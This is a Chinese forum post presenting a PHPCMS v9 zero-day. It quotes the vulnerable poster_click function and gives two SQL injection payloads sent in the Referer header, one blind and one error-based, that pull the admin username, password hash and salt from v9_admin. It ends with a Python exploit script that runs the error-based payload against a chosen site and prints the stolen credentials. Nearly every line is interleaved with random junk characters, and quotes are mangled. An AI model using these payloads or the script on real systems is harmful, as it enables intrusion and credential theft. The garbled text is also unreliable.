有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:1 x5 k) M+ z% m' w
$ \( t- f) @. C9 f
问题函数\phpcms\modules\poster\index.php
+ E# ^3 P, A" c+ W
6 A) [% A/ ~- R, J' M$ B9 k+ Dpublic function poster_click() {
( \, L" i9 h. Z6 Z4 H: y0 K/ H$id = isset($_GET['id']) ? intval($_GET['id']) : 0;$ m+ n4 ~( S9 Z: f" L
$r = $this->db->get_one(array('id'=>$id));6 f* }3 u8 H% W& b/ j7 j" P
if (!is_array($r) && empty($r)) return false;
: w3 ]. v% C" X7 [$ip_area = pc_base::load_sys_class('ip_area');
) E- i9 {7 L! V& H* M$ip = ip();8 K) e- \$ S1 C/ h7 }
$area = $ip_area->get($ip);
' p7 S+ q/ O# z: K+ B* X$username = param::get_cookie('username') ? param::get_cookie('username') : '';
& W+ _/ @9 u) R) iif($id) {/ m1 h7 x# e$ t1 `& a/ [! k, n, f$ s
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$ ~8 A2 J# R) x" h" X. L) r6 B+ V0 k$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));( w' {: O$ ]; P& ^
}
, U5 C' C9 m. b0 ?4 b+ Z) H# x ^* V5 Z$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));3 M6 H# [8 ]' |/ Q! o3 M
$setting = string2array($r['setting']);
! K% n0 c# I- ~" V: a H. Nif (count($setting)==1) {9 Q) {* w' i2 l" E% w& s/ M( \ ?
$url = $setting['1']['linkurl'];) C7 u R. q0 Y1 R5 g) z
} else {5 J4 p! S# S$ }+ o
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
) f9 U. u, E8 v4 D2 E! T. @( }}* ^0 B# \- O, I$ p/ H* k3 K
header('Location: '.$url);# ^' O# q" [8 S; q K
}
6 L, ]! I: ]7 N( K, |& k: U; T' z/ b+ u
# s" X M( {( r/ u3 ]6 `" e9 j
' f5 ~( O/ g$ u
利用方式:
- b, ]% s' T* ^9 K$ I2 H& X" J* \$ G' `1 B8 W J
1、可以采用盲注入的手法:
, p( r' R U- Z i1 ]# g& E
. F$ y. O/ S. |/ Zreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
' _( M R% Q1 O! w, E
8 z) I3 ]. ?! \! \5 f* B通过返回页面,正常与否一个个猜解密码字段。# h9 a1 V4 G% ]' `7 H* h+ M" v
( v9 d( [5 m- @6 t1 Q; k2、代码是花开写的,随手附上了:
\1 [& j. r6 C* ]; k, r7 y7 O0 f% I6 m5 H2 J* _
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
4 C8 q( ^5 j9 z6 B! d$ j0 f! n( x X+ C7 Y4 a) f
此方法是爆错注入手法,原理自查。
3 P2 k5 {4 i! s0 ]" n+ n6 o1 M
g0 I8 T/ a# z+ d $ s j+ A; r# v4 d
3 q) Q2 H' d2 ^1 q
利用程序:/ v+ k+ T- r9 Z3 z% W" s
) N# [% ]3 A- c#!/usr/bin/env python
- x5 [$ L- w1 ximport httplib,sys,re
! Z: \! g$ A( i: p* E
! j( i Q& L( jdef attack():# h* Q/ c3 J8 h7 P
print “Code by Pax.Mac Team conqu3r!”
: A+ `' `- o! Y k- T" O: d6 Z" n" Nprint “Welcome to our zone!!!”
" p% g: h1 O( Z) R+ Murl=sys.argv[1]
7 p* L/ l/ ~% K9 L: E5 Vpaths=sys.argv[2]; q# [# i. }2 ? w* [/ y
conn = httplib.HTTPConnection(url)
$ Q$ ]1 `; _/ {& `i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
( S& L: v; O8 m* ?“Accept”: “text/plain”,
# [5 A" |2 H- U \# l# w“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}* }/ j2 w& X, M t0 n
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
# l9 k7 C) M( W9 @( q* l Fr1 = conn.getresponse()9 m! z( _( Q6 k( ]* d$ @0 w
datas=r1.read()
) O9 q$ M6 S; h" e- Kdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
6 W3 r4 _! e4 A, A+ L! l0 c2 Yprint datas[0]% _6 ~) Y9 p% t* ]0 q% I$ s
conn.close()
# {8 P- M; C3 i+ Z/ L3 w* Mif __name__==”__main__”:
! Z }6 N A6 D# u$ Nif len(sys.argv)<3:
* ~& G$ i q3 Jprint “Code by Pax.Mac Team conqu3r”
! t" I- @. \( B+ z) L3 `print “Usgae:”
& _2 u3 U7 X: p: C( H, }print “ phpcmsattack.py www.paxmac.org /”
% `3 @: \3 ]2 t: z# [5 fprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
# J; t: L5 l5 }0 l8 L& P6 d, fsys.exit(1)
/ D+ Z( a0 U, N( F( d2 b8 _8 Nattack()
$ ]! G3 O" n# G( O0 {$ Q
5 [$ P" H/ q9 x& U/ b8 \7 N |